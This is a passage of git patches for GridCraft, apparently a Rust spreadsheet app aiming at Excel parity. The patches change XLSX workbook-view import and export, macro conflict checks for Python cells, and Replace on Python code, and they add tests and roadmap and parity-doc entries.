DirectX 12 (default since 10-08; OpenGL when DirectX 12 has no GPU driver or fails to start; Vulkan only on request, so the Intel UHD `igvk64.dll` crash (#120) can't happen; shaders compiled with FXC, so no DXC runtime is needed, #339) · Vulkan/GL · Vulkan/GL · WebGPU or WebGL2 | At parity in kind. Driver problems: screen flashing on Windows 11 (#76): 2–4 h | | Pen and touch (Draw tab) | Pen pressure and tilt, eraser end, touch mode, Ink to Shape, ink replay | Pen, highlighter, eraser, Ink to Shape with mouse/pen input; **no pressure or tilt**, no touch mode | Pressure-sensitive strokes where winit reports force; touch-friendly ribbon spacing: 4–6 h | | Trackpad and mouse | Smooth scrolling, pinch zoom, horizontal scroll, Magic Mouse | Smooth scrolling and zoom via egui | Verify pinch zoom on each platform: 1–2 h | | Multiple windows and monitors | One window per workbook, New Window for the same workbook, per-monitor DPI | A native window per workbook window on the desktop, New Window for the same workbook; new windows cascade from the last one on its monitor; View › Arrange All tiles, stacks or cascades them over the main window's monitor (web: one window) | Arrange All across monitors; verify per-monitor DPI with windows on two monitors: 2–3 h | @@ -20,6 +20,7 @@ The hardware Excel uses, per platform, against GridCraft. Part of | Date | Change | Summary | |---|---|---| +| 2026-10-31 | trivial | macOS: Intel Macs skip wgpu's indirect-call validation shaders, so they no longer exit on Metal's compiler error there (#2812). Macs run with OpenCore Legacy Patcher on macOS 15 can still fail earlier, on the MSL version (#1116). | | 2026-10-22 | minor | View › Arrange All over the main window's monitor. | | 2026-10-22 | minor | Multiple windows: each workbook window is a native window of its own (desktop). | | 2026-10-12 | minor | Desktop File > Print now discovers printers and submits PDF jobs through pinned craft-print with printer choice, copies, duplex and grayscale; browser printing and PDF export remain available. Remaining print parity includes page ranges and driver-specific tray/options UI; physical printer fidelity needs hardware validation. | From 60a267b4ef9448290bf3662001aba0e23b6e2357 Mon Sep 17 00:00:00 2001 From: scks1 <126534658+scks1@users.noreply.github.com> Date: Sun, 1 Nov 2026 08:06:44 -0500 Subject: [PATCH 162/298] #3057: select visible workbook views and normalize tab ratios --- ROADMAP.md | 4 +- crates/engine/src/tests.rs | 30 +++++++ crates/model/src/workbook.rs | 6 +- crates/xlsx/src/read.rs | 11 ++- crates/xlsx/src/tests/roundtrip.rs | 140 +++++++++++++++++++++++++++++ crates/xlsx/src/write.rs | 7 +- docs/file-format-parity.md | 24 ++++- 7 files changed, 214 insertions(+), 8 deletions(-) diff --git a/ROADMAP.md b/ROADMAP.md index 40652c341..9a1145f78 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -2,7 +2,7 @@ **Stage: alpha** · next: beta, ~25 points of "ready for real work" and ~160–240 h away -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-25 · **Change:** minor (AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column; earlier: macro engine and `macro.*` commands; macro interface on the Automate tab) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-01 · **Change:** trivial (XLSX workbook-view selection, bounded tab ratios and sheet-edit regressions; readiness estimates unchanged) · **Target:** Microsoft Excel (Microsoft 365) GridCraft aims at full Microsoft Excel parity, and at being better in places: faster, open (XLSX is the native format), fully scriptable by agents (MCP, control channel, CLI), and on the web. @@ -135,6 +135,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | What landed | |---|---| +| 2026-11-01 | XLSX keeps the first visible workbook window's active sheet and display settings together, falling back to the first view when all are hidden. Tab ratios are normalized to 0–1000 on import and export; invalid numeric text uses 600. Synthetic round trips cover isolated attributes, missing views, and active tabs after sheet deletion/reordering; firstSheet remains separate #2264 work (#3057). | | 2026-10-25 | AutoSum over a selection does what Excel does: a selected row gets one total to its right (in its last cell if that is empty), not a one-cell total under each cell; a block whose last column is empty gets each row's total there, one whose last row is empty each column's, and with both the corner gets the total of the block; otherwise totals go under each column as before | | 2026-10-24 | Macro interface ([macros.md](docs/macros.md#in-the-window)): an Automate › Macros group (Record Macro, which turns into Stop Recording, Use Relative References, Run Macro with recent macros); "Recording · N steps" with Stop in the status bar; a Record Macro dialog (checked name, free Ctrl+Shift shortcut, description); the Macros dialog lists macros beside Automate scripts and a VBA project, with Run, Step Into, Edit, Create, Delete and Options; Ctrl+Shift+letter macro shortcuts; questions that offer Run, Overwrite, Shift Down or Shift Right; a step editor with a breakpoint gutter, drag to reorder, a command picker, reference boxes that switch between relative tokens and absolute references, Inputs and Output tabs, a debug bar (Check, Run, Step, Continue, Run to Here, Stop with keep or undo) and grid overlays for inputs, writes, conflicts and the current step | | 2026-10-24 | Go To lists the named ranges of every sheet (`Sheet2!Name` for a name scoped to another sheet; hidden names, constants and formulas left out) and the references entered before, a double-click goes to an entry, and the Reference box takes several names or references separated by commas (`Price, Type`, `B14:C22,F19:G30`) | @@ -244,6 +245,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | Change | Summary | |---|---|---| +| 2026-11-01 | trivial | Workbook views: selected window settings stay together, tab ratios are bounded, and regressions cover isolated settings and sheet edits; readiness estimates unchanged (#3057) | | 2026-10-25 | minor | Progress log: AutoSum over a selected row, and a selection's empty last row and column | | 2026-10-24 | minor | Macro interface on the Automate tab; progress log row | | 2026-10-24 | minor | Macro engine and `macro.*` commands; catalog 275 / 291 → 276 / 292 (View › Macros › Record Macro); progress log row | diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index f99f246df..50316ee0e 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -2403,6 +2403,36 @@ fn deleting_a_3d_span_end_sheet_keeps_the_rest() { } } +#[test] +fn workbook_view_roundtrips_after_sheet_deletion_and_reordering() { + let view = gridcraft_model::WorkbookView { show_sheet_tabs: false, show_horizontal_scroll: true, show_vertical_scroll: false, tab_ratio: 350 }; + for (initial_active, command, params, expected_order, expected_active) in [ + ("Third", "home.deleteSheet", json!({"sheet": "First"}), vec!["Second", "Third"], 1), + ("Third", "home.deleteSheet", json!({"sheet": "Third"}), vec!["First", "Second"], 1), + ("First", "home.deleteSheet", json!({"sheet": "Third"}), vec!["First", "Second"], 0), + ("Third", "sheet.move", json!({"sheet": "Third", "to": 0}), vec!["Third", "First", "Second"], 0), + ("Third", "sheet.move", json!({"sheet": "First", "to": 2}), vec!["Second", "Third", "First"], 2), + ] { + let mut session = s(); + session.execute("sheet.rename", json!({"name": "First"})).unwrap(); + for name in ["Second", "Third"] { + session.execute("home.insertSheet", json!({"name": name})).unwrap(); + } + std::sync::Arc::make_mut(&mut session.doc_mut().unwrap().wb).view = view; + session.execute("sheet.activate", json!({"sheet": initial_active})).unwrap(); + session.execute(command, params).unwrap(); + + let wb = &session.doc().unwrap().wb; + assert_eq!(wb.active_sheet(), expected_active, "{command}"); + assert_eq!(wb.sheets.iter().map(|s| s.name.as_str()).collect::>(), expected_order, "{command}"); + let (back, _) = gridcraft_xlsx::read_xlsx(&gridcraft_xlsx::write_xlsx(wb).unwrap()).unwrap(); + assert_eq!(back.sheets.iter().map(|s| s.name.as_str()).collect::>(), expected_order, "{command} after reopening"); + assert_eq!(back.active_sheet(), expected_active, "activeTab follows {command}"); + assert_eq!(back.active().unwrap().name, expected_order[expected_active], "the active sheet is not a stale index"); + assert_eq!(back.view, view, "workbook display settings survive {command}"); + } +} + #[test] fn xlsx_roundtrip_through_engine() { let mut s = s(); diff --git a/crates/model/src/workbook.rs b/crates/model/src/workbook.rs index 0942f6773..586ed36fa 100644 --- a/crates/model/src/workbook.rs +++ b/crates/model/src/workbook.rs @@ -33,7 +33,8 @@ pub enum ShowObjects { /// The workbook window's display settings from `` (Excel: File › Options › /// Advanced, "Display options for this workbook"): whether the window shows the sheet tabs /// and the two scroll bars, and how much of the horizontal bar the tabs take (`tabRatio`, -/// thousandths of the bar; the format's default is 600). +/// thousandths of the bar; the format's default is 600). XLSX I/O normalizes this +/// share to 0–1000, including values supplied directly through the model. /// /// The values are modelled so an open + save keeps them — a workbook Excel saved with the /// tabs hidden must not come back with them shown and the settings gone. The app does not @@ -66,6 +67,9 @@ impl Default for WorkbookView { } impl WorkbookView { + /// The entire bar, in thousandths: the upper bound used by XLSX I/O. + pub const MAX_TAB_RATIO: u32 = 1000; + fn is_default(&self) -> bool { *self == WorkbookView::default() } diff --git a/crates/xlsx/src/read.rs b/crates/xlsx/src/read.rs index 1d5066ae9..c3d16a19e 100644 --- a/crates/xlsx/src/read.rs +++ b/crates/xlsx/src/read.rs @@ -223,6 +223,13 @@ fn read_workbook_properties(cx: &mut Ctx<'_>, wb: &mut Workbook, xml: &El) { } } +/// The single window modelled by GridCraft: prefer the first visible window, +/// including the format's default visibility, and otherwise retain the first one. +fn selected_workbook_view(workbook: &El) -> Option<&El> { + let views = workbook.child("bookViews")?; + views.kids("workbookView").find(|view| view.attr("visibility").unwrap_or("visible") == "visible").or_else(|| views.child("workbookView")) +} + pub fn read_xlsx(bytes: &[u8]) -> Result<(Workbook, ReadReport), IoError> { let pkg = Package::open(bytes)?; let mut cx = Ctx { @@ -270,7 +277,7 @@ pub fn read_xlsx(bytes: &[u8]) -> Result<(Workbook, ReadReport), IoError> { } read_workbook_properties(&mut cx, &mut wb, &wb_xml); - let view_el = wb_xml.path(&["bookViews", "workbookView"]); + let view_el = selected_workbook_view(&wb_xml); let active_tab = view_el.and_then(|v| v.attr_u32("activeTab")).unwrap_or(0) as usize; if let Some(v) = view_el { // The window's display settings (Excel's "Display options for this workbook"). @@ -280,7 +287,7 @@ pub fn read_xlsx(bytes: &[u8]) -> Result<(Workbook, ReadReport), IoError> { show_sheet_tabs: v.flag("showSheetTabs", true), show_horizontal_scroll: v.flag("showHorizontalScroll", true), show_vertical_scroll: v.flag("showVerticalScroll", true), - tab_ratio: v.attr_u32("tabRatio").unwrap_or(600), + tab_ratio: v.attr_u32("tabRatio").unwrap_or(600).min(WorkbookView::MAX_TAB_RATIO), }; } diff --git a/crates/xlsx/src/tests/roundtrip.rs b/crates/xlsx/src/tests/roundtrip.rs index 0cfc17ad3..132fa4d75 100644 --- a/crates/xlsx/src/tests/roundtrip.rs +++ b/crates/xlsx/src/tests/roundtrip.rs @@ -1533,3 +1533,143 @@ fn workbook_view_settings_survive_a_round_trip() { z.by_name("xl/workbook.xml").unwrap().read_to_string(&mut xml).unwrap(); assert!(xml.contains(""), "defaults stay unwritten: {xml}"); } + +/// Three original empty worksheets let view selection be checked through `activeTab`, +/// independently of the flags and ratio carried by the same window. +fn workbook_with_window_views(views: &str) -> Vec { + let workbook = format!( + r#"{views}"# + ); + let rels = r#""#; + let sheet = br#""#; + super::make_zip(&[ + ("[Content_Types].xml", super::CT.as_bytes()), + ("_rels/.rels", super::ROOT_RELS.as_bytes()), + ("xl/workbook.xml", workbook.as_bytes()), + ("xl/_rels/workbook.xml.rels", rels.as_bytes()), + ("xl/worksheets/sheet1.xml", sheet), + ("xl/worksheets/sheet2.xml", sheet), + ("xl/worksheets/sheet3.xml", sheet), + ]) +} + +fn saved_workbook_view_xml(wb: &Workbook) -> String { + let bytes = write_xlsx(wb).unwrap(); + let mut zip = zip::ZipArchive::new(std::io::Cursor::new(bytes)).unwrap(); + let mut xml = String::new(); + zip.by_name("xl/workbook.xml").unwrap().read_to_string(&mut xml).unwrap(); + xml +} + +#[test] +fn workbook_view_attributes_round_trip_independently() { + for (attribute, value, expected) in [ + ("showSheetTabs", "0", WorkbookView { show_sheet_tabs: false, ..Default::default() }), + ("showSheetTabs", "1", WorkbookView::default()), + ("showHorizontalScroll", "0", WorkbookView { show_horizontal_scroll: false, ..Default::default() }), + ("showHorizontalScroll", "1", WorkbookView::default()), + ("showVerticalScroll", "0", WorkbookView { show_vertical_scroll: false, ..Default::default() }), + ("showVerticalScroll", "1", WorkbookView::default()), + ("tabRatio", "250", WorkbookView { tab_ratio: 250, ..Default::default() }), + ("tabRatio", "600", WorkbookView::default()), + ] { + let view = format!(""); + let (wb, _) = read_xlsx(&workbook_with_window_views(&view)).unwrap(); + assert_eq!(wb.view, expected, "only {attribute} is supplied"); + let xml = saved_workbook_view_xml(&wb); + assert_eq!(xml.contains(&format!("{attribute}=\"{value}\"")), expected != WorkbookView::default(), "{xml}"); + for other in ["showSheetTabs", "showHorizontalScroll", "showVerticalScroll", "tabRatio"] { + if other != attribute { + assert!(!xml.contains(&format!("{other}=")), "unrelated defaults stay omitted: {xml}"); + } + } + let (back, _) = read_xlsx(&write_xlsx(&wb).unwrap()).unwrap(); + assert_eq!(back.view, expected, "{attribute}={value} survives a round trip"); + } +} + +#[test] +fn workbook_view_selects_first_visible_window_consistently() { + let cases = [ + ( + r#""#, + 2, + WorkbookView { show_sheet_tabs: true, show_horizontal_scroll: false, show_vertical_scroll: true, tab_ratio: 750 }, + ), + // Visibility defaults to visible, so this view takes precedence over a later explicit one. + ( + r#""#, + 1, + WorkbookView { show_vertical_scroll: false, tab_ratio: 350, ..Default::default() }, + ), + // No visible window: retain the first window's settings and active sheet as one unit. + ( + r#""#, + 1, + WorkbookView { show_sheet_tabs: false, tab_ratio: 100, ..Default::default() }, + ), + ]; + for (views, active, view) in cases { + let (wb, _) = read_xlsx(&workbook_with_window_views(views)).unwrap(); + assert_eq!(wb.active_sheet(), active, "activeTab must come from the selected view: {views}"); + assert_eq!(wb.view, view, "all settings must come from the selected view: {views}"); + let (back, _) = read_xlsx(&write_xlsx(&wb).unwrap()).unwrap(); + assert_eq!(back.active_sheet(), active); + assert_eq!(back.view, view); + } +} + +#[test] +fn workbook_view_without_a_window_uses_defaults() { + for bytes in [super::minimal("", &[], "", ""), workbook_with_window_views("")] { + let (wb, _) = read_xlsx(&bytes).unwrap(); + assert_eq!(wb.active_sheet(), 0); + assert_eq!(wb.view, WorkbookView::default()); + let xml = saved_workbook_view_xml(&wb); + assert!(xml.contains(""), "missing views keep defaults omitted: {xml}"); + let (back, _) = read_xlsx(&write_xlsx(&wb).unwrap()).unwrap(); + assert_eq!(back.active_sheet(), 0); + assert_eq!(back.view, WorkbookView::default()); + } +} + +#[test] +fn workbook_view_tab_ratio_normalizes_imported_values() { + for (raw, expected) in [ + (None, 600), + (Some("0"), 0), + (Some("600"), 600), + (Some("1000"), 1000), + (Some("1001"), 1000), + (Some("4294967295"), 1000), + (Some("4294967296"), 600), + (Some("-1"), 600), + (Some("invalid"), 600), + (Some(""), 600), + ] { + let attr = raw.map(|value| format!(" tabRatio=\"{value}\"")).unwrap_or_default(); + let views = format!(""); + let (wb, _) = read_xlsx(&workbook_with_window_views(&views)).unwrap(); + assert_eq!(wb.view.tab_ratio, expected, "tabRatio={raw:?}"); + let xml = saved_workbook_view_xml(&wb); + if expected == 600 { + assert!(!xml.contains("tabRatio="), "the default is omitted: {xml}"); + } else { + assert!(xml.contains(&format!("tabRatio=\"{expected}\"")), "{xml}"); + } + let (back, _) = read_xlsx(&write_xlsx(&wb).unwrap()).unwrap(); + assert_eq!(back.view.tab_ratio, expected); + } +} + +#[test] +fn workbook_view_writer_clamps_out_of_range_model_values() { + for raw in [1001, u32::MAX] { + let mut wb = Workbook::new(); + wb.view.tab_ratio = raw; + let xml = saved_workbook_view_xml(&wb); + assert!(xml.contains("tabRatio=\"1000\""), "an out-of-range model value is bounded on write: {xml}"); + let (back, _) = read_xlsx(&write_xlsx(&wb).unwrap()).unwrap(); + assert_eq!(back.view.tab_ratio, 1000); + } +} diff --git a/crates/xlsx/src/write.rs b/crates/xlsx/src/write.rs index 511dd7093..eb755c002 100644 --- a/crates/xlsx/src/write.rs +++ b/crates/xlsx/src/write.rs @@ -5,7 +5,7 @@ use std::fmt::Write as _; use gridcraft_core::RangeRef; use gridcraft_formula::quote_sheet; -use gridcraft_model::{CalcMode, CalcSettings, PhoneticString, ShowObjects, Style, Visibility, Workbook}; +use gridcraft_model::{CalcMode, CalcSettings, PhoneticString, ShowObjects, Style, Visibility, Workbook, WorkbookView}; use crate::package::ZipOut; use crate::xml::{esc, esc_attr}; @@ -223,8 +223,9 @@ fn workbook_view_attrs(wb: &Workbook) -> String { if !wb.view.show_vertical_scroll { attrs.push_str(" showVerticalScroll=\"0\""); } - if wb.view.tab_ratio != 600 { - let _ = write!(attrs, " tabRatio=\"{}\"", wb.view.tab_ratio); + let tab_ratio = wb.view.tab_ratio.min(WorkbookView::MAX_TAB_RATIO); + if tab_ratio != 600 { + let _ = write!(attrs, " tabRatio=\"{tab_ratio}\""); } attrs } diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index 1523e9d94..8557f19f3 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-26 · **Change:** minor (`file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-01 · **Change:** trivial (XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -14,6 +14,27 @@ support comes from `crates/engine/src/io.rs` (`FileKind`), `crates/xlsx/src` and Legacy scalar `INDEX(range, MATCH(...))` formulas remain ordinary formulas on save, including when shared formulas are expanded during import (`array_export.rs`, #1505). +## Workbook window settings + +GridCraft keeps one modelled workbook window. On XLSX import it selects the first visible +`workbookView` (omitted `visibility` means visible), or the first view when none is visible. +The active tab and display options come from that same view and survive the next save. +GridCraft normalizes `tabRatio` to 0–1000 on import and export; malformed or overflowing +unsigned-integer text uses the default 600. The valid endpoints 0 and 1000 survive, and +600 plus the default shown flags stay omitted from output. Synthetic regressions in +`crates/xlsx/src/tests/roundtrip.rs` cover each attribute independently, selection, fallback +and round trips (#3057). Engine regressions exercise real sheet deletion and reordering +commands and check that the saved active tab identifies the current sheet after reopening, +with the workbook display options preserved. +The format's [workbook-view defaults](https://learn.microsoft.com/en-us/dotnet/api/documentformat.openxml.spreadsheet.workbookview?view=openxml-3.0.1) +include visible windows and a tab ratio of 600. UI controls and rendering of these settings +remain separate #3057 work. + +`firstSheet` records the leftmost visible tab, independently of `activeTab`. It is not modelled +by this branch. Supporting it needs its own view state and sheet-edit handling, tracked in +#2264; these regressions cover the active tab and existing display fields without introducing +that separate feature. + ## Workbook formats XLSX column declarations are limited to 1,000,000 expanded column assignments per worksheet, @@ -110,6 +131,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| +| 2026-11-01 | trivial | XLSX selects the first visible workbook view as one unit and bounds imported/exported tab ratios; isolated attributes and sheet-edit round trips covered, with firstSheet left to #2264 (#3057) | | 2026-10-21 | minor | HTML (Save as Web Page) writes pictures (`data:` URI ``) and charts (inline SVG from the chart crate's drawing primitives, text included) at their anchors; the table uses the sheet's column widths and row heights when the sheet has either, and output for sheets without pictures or charts is unchanged | | 2026-10-20 | trivial | XLSX shared strings: Japanese phonetic runs (ふりがな, `` with ``) are read into the workbook and written back next to the string with the same text, so an open + save no longer deletes them; bad offsets and readings are dropped with a warning, a `` without runs is kept on its own, and when duplicate `` items share a text but not a reading only the first reading is written (reported on open) (`phonetic_tests.rs`) | | 2026-10-20 | minor | A workbook theme's major/minor per-script typefaces (``, also Hebr, Jpan and the rest) are read and written back in file order after ``; they were dropped before. A hostile file is held to 64 entries of 256 characters | From 2d56f1b9363814b0d9b25ef6d06ad6393aeb447f Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 12:09:50 -0500 Subject: [PATCH 163/298] Engine: a macro's check for writes over data keeps a Python cell The footprint dry run and the per-step guard of macro runs (new on main) compared formulas and values only. A step that replaced a Python cell with its own cached value, or with other code that also shows #BLOCKED!, was not counted as a write over data, so the code could be lost without the question. A step that only blocked a Python cell's spill, which leaves its code as it was, was counted as one. Python code is now content as a formula is: a change of code or return type is a write, and a change of the cached value alone is a recalculation. --- crates/engine/src/macros/run.rs | 19 ++++++++++--- crates/engine/src/tests/python_cells.rs | 36 +++++++++++++++++++++++++ 2 files changed, 52 insertions(+), 3 deletions(-) diff --git a/crates/engine/src/macros/run.rs b/crates/engine/src/macros/run.rs index fcb6768f3..71c23aabe 100644 --- a/crates/engine/src/macros/run.rs +++ b/crates/engine/src/macros/run.rs @@ -1237,26 +1237,39 @@ pub(crate) fn pair_sheets(before: &Workbook, after: &Workbook) -> (Vec<(usize, O (pairs, spare.collect()) } -/// Only a formula's cached value changed (a recalculation, not a write). +/// Only a formula's (or a Python cell's) cached value changed (a recalculation, not a write): a +/// Python cell whose spill a step blocked shows #SPILL! with its code untouched. fn recalculated_only(b: Option<&Cell>, a: Option<&Cell>) -> bool { match (b, a) { (Some(b), Some(a)) => match (&b.formula, &a.formula) { (Some(x), Some(y)) => x.text == y.text && x.array == y.array && b.style == a.style, + (None, None) => match (&b.py, &a.py) { + (Some(x), Some(y)) => x.code == y.code && x.object == y.object && b.style == a.style, + _ => false, + }, _ => false, }, _ => false, } } +/// Python code is content, as a formula is, whatever the cell shows. fn has_content(c: &Cell) -> bool { - c.formula.is_some() || !(c.value.is_empty() || c.value.as_text() == Some("")) + c.formula.is_some() || c.py.is_some() || !(c.value.is_empty() || c.value.as_text() == Some("")) } +/// Whether a write changed what the person entered: the formula, the Python code and its return +/// type, or the value. A Python cell replaced by its own cached value, or by other code that +/// shows the same `#BLOCKED!`, has changed. fn content_differs(b: Option<&Cell>, a: Option<&Cell>) -> bool { match (b, a) { (Some(b), Some(a)) => match (&b.formula, &a.formula) { (Some(x), Some(y)) => x.text != y.text, - (None, None) => b.value != a.value, + (None, None) => match (&b.py, &a.py) { + (Some(x), Some(y)) => x.code != y.code || x.object != y.object, + (None, None) => b.value != a.value, + _ => true, + }, _ => true, }, (Some(b), None) => has_content(b), diff --git a/crates/engine/src/tests/python_cells.rs b/crates/engine/src/tests/python_cells.rs index 91a1fed77..417ed1e4a 100644 --- a/crates/engine/src/tests/python_cells.rs +++ b/crates/engine/src/tests/python_cells.rs @@ -227,3 +227,39 @@ fn go_to_special_counts_a_python_cell_as_a_formula_not_a_constant() { assert_eq!(r["count"], 1, "{r}"); assert_eq!(r["selection"], "A3", "{r}"); } + +#[test] +fn a_macro_counts_python_code_as_data_and_a_blocked_spill_as_no_write() { + let mut s = s(); + // F2 shows 1, its cached value: a step that enters 1 there still replaces the code. + plant(&mut s, 0, "F2", "1"); + // H2's code shows #BLOCKED!, as any other new code there would. + s.execute("python.set", json!({"cell": "H2", "code": "'a'"})).unwrap(); + // J2's result spills over J2:J3. A step that writes J3 blocks it, which doesn't write J2. + s.execute("python.set", json!({"cell": "J2", "code": "[5, 6]"})).unwrap(); + { + let d = s.doc_mut().unwrap(); + let wb = Arc::make_mut(&mut d.wb); + let cell = wb.sheet_mut(0).unwrap().cells.get_mut(CellRef::parse("J2").unwrap()).unwrap(); + let data = vec![Value::Number(5.0), Value::Number(6.0)]; + let value = Value::Array(Arc::new(gridcraft_core::Array::new(2, 1, data).unwrap())); + Arc::make_mut(cell.py.as_mut().unwrap()).output = + Some(gridcraft_model::PyOutput { value, type_name: "list".into(), preview: String::new(), convertible: true }); + } + s.execute("formulas.calculateNow", json!({})).unwrap(); + assert_eq!(super::v(&s, "J3"), Value::Number(6.0)); + super::macros::put( + &mut s, + json!({"name": "Py", "steps": [ + {"command": "cell.set", "params": {"cell": "F2", "input": "1"}}, + {"command": "python.set", "params": {"cell": "H2", "code": "'b'"}}, + {"command": "cell.set", "params": {"cell": "J3", "input": "x"}} + ]}), + ); + let c = s.execute("macro.check", json!({"name": "Py"})).unwrap(); + assert_eq!(c["footprint"]["sheets"][0]["cells"], json!(["F2", "H2", "J3"]), "{c}"); + assert_eq!(c["footprint"]["sheets"][0]["conflicts"], json!(["F2", "H2"]), "{c}"); + let e = s.execute("macro.run", json!({"name": "Py", "onConflict": "fail"})).unwrap_err().to_string(); + assert!(e.contains("F2") && e.contains("H2") && !e.contains("J2"), "{e}"); + assert_eq!(code(&s, 0, "F2").as_deref(), Some("1"), "nothing was changed"); +} From 14ab0f8ee3ea80502fd79a01a0ac137883a06c28 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 12:10:31 -0500 Subject: [PATCH 164/298] Engine: Replace edits a Python cell's code and keeps it a Python cell Replace matched a Python cell on its code and then rebuilt the cell from the replaced text as if it had been typed, so the cell became a text cell holding the edited code and the Python cell was lost. The replacement now edits the code: the cell stays a Python cell with its return type, its result is dropped (#BLOCKED!, as for any changed code) and a spill it had is cleared. Code that would no longer fit in a PY formula is left unchanged and counted in a new skipped field of the result. --- crates/engine/src/cmd/edit.rs | 2 +- crates/engine/src/cmd/edit/find.rs | 29 ++++++++++++++++++++++ crates/engine/src/tests/python_cells.rs | 33 +++++++++++++++++++++++++ 3 files changed, 63 insertions(+), 1 deletion(-) diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 3bba84748..f2972be5a 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -129,7 +129,7 @@ pub fn specs() -> Vec { "Replace…", ["Home", "Editing", "Find & Select"], Some("Ctrl+H"), - "{what, with, matchCase?, wholeCell?, all?: true, within?: sheet|workbook}", + "{what, with, matchCase?, wholeCell?, all?: true, within?: sheet|workbook} → {replaced, skipped?} (in a Python cell the code is edited; skipped counts Python cells whose code would no longer fit)", has_doc, replace ), diff --git a/crates/engine/src/cmd/edit/find.rs b/crates/engine/src/cmd/edit/find.rs index bce0ba728..06a908e14 100644 --- a/crates/engine/src/cmd/edit/find.rs +++ b/crates/engine/src/cmd/edit/find.rs @@ -115,6 +115,7 @@ pub(super) fn replace(s: &mut Session, p: &Json) -> Result { let all = bool_param(p, "all").unwrap_or(true); let workbook = str_param(p, "within") == Some("workbook"); let active = s.doc()?.selection.active; + let mut skipped = 0usize; let n = edit(s, |cx| { let sheets: Vec = if workbook { (0..cx.wb.sheets.len()).collect() } else { vec![cx.wb.active_sheet()] }; let mut n = 0; @@ -135,6 +136,31 @@ pub(super) fn replace(s: &mut Session, p: &Json) -> Result { } else { replace_ci(&text, &what, &with) }; + // A Python cell's text is its code: the replacement edits the code and the cell + // stays a Python cell. Code that would no longer fit in a PY formula is left as it was. + let old_py = cx.wb.sheet(si).and_then(|sh| sh.cell(c)).and_then(|x| x.py.clone()); + if let Some(old) = old_py { + let py = gridcraft_model::PyCode { object: old.object, ..gridcraft_model::PyCode::new(&new) }; + if py.code == old.code { + continue; + } + if !py.fits() { + skipped += 1; + continue; + } + let sh = cx.sheet_mut(si)?; + if let Some(r) = sh.spill_ranges.remove(&c) { + sh.clear_spill(r); + } + let style = sh.style_id(c); + sh.set_cell( + c, + Cell { value: Value::Error(gridcraft_core::CellError::Blocked), formula: None, style, py: Some(std::sync::Arc::new(py)) }, + ); + cx.touch(si, c); + n += 1; + continue; + } let cell = input_to_cell(&new, si, c, &mut cx.wb).unwrap_or_else(|_| Some(Cell::value(Value::text(new.as_str())))); let sh = cx.sheet_mut(si)?; match cell { @@ -149,6 +175,9 @@ pub(super) fn replace(s: &mut Session, p: &Json) -> Result { } Ok(n) })?; + if skipped > 0 { + return Ok(json!({"replaced": n, "skipped": skipped})); + } Ok(json!({"replaced": n})) } diff --git a/crates/engine/src/tests/python_cells.rs b/crates/engine/src/tests/python_cells.rs index 417ed1e4a..ef1df605a 100644 --- a/crates/engine/src/tests/python_cells.rs +++ b/crates/engine/src/tests/python_cells.rs @@ -263,3 +263,36 @@ fn a_macro_counts_python_code_as_data_and_a_blocked_spill_as_no_write() { assert!(e.contains("F2") && e.contains("H2") && !e.contains("J2"), "{e}"); assert_eq!(code(&s, 0, "F2").as_deref(), Some("1"), "nothing was changed"); } + +#[test] +fn replace_edits_a_python_cells_code_and_keeps_it_a_python_cell() { + let mut s = s(); + plant(&mut s, 0, "A1", "x = 1\nx"); + { + let d = s.doc_mut().unwrap(); + let mut wb = (*d.wb).clone(); + let cell = wb.sheet_mut(0).unwrap().cells.get_mut(CellRef::parse("A1").unwrap()).unwrap(); + Arc::make_mut(cell.py.as_mut().unwrap()).object = true; + d.wb = Arc::new(wb); + } + let r = s.execute("edit.replace", json!({"what": "x", "with": "y"})).unwrap(); + assert_eq!(r["replaced"], 1); + assert_eq!(code(&s, 0, "A1").as_deref(), Some("y = 1\ny")); + let d = s.doc().unwrap(); + let cell = d.wb.sheet(0).unwrap().cell(CellRef::parse("A1").unwrap()).unwrap(); + assert!(cell.py.as_ref().unwrap().object, "the return type is kept"); + assert_eq!(cell.value, Value::Error(gridcraft_core::CellError::Blocked)); + s.execute("edit.undo", json!({})).unwrap(); + assert_eq!(code(&s, 0, "A1").as_deref(), Some("x = 1\nx")); +} + +#[test] +fn replace_leaves_python_code_that_would_no_longer_fit() { + let mut s = s(); 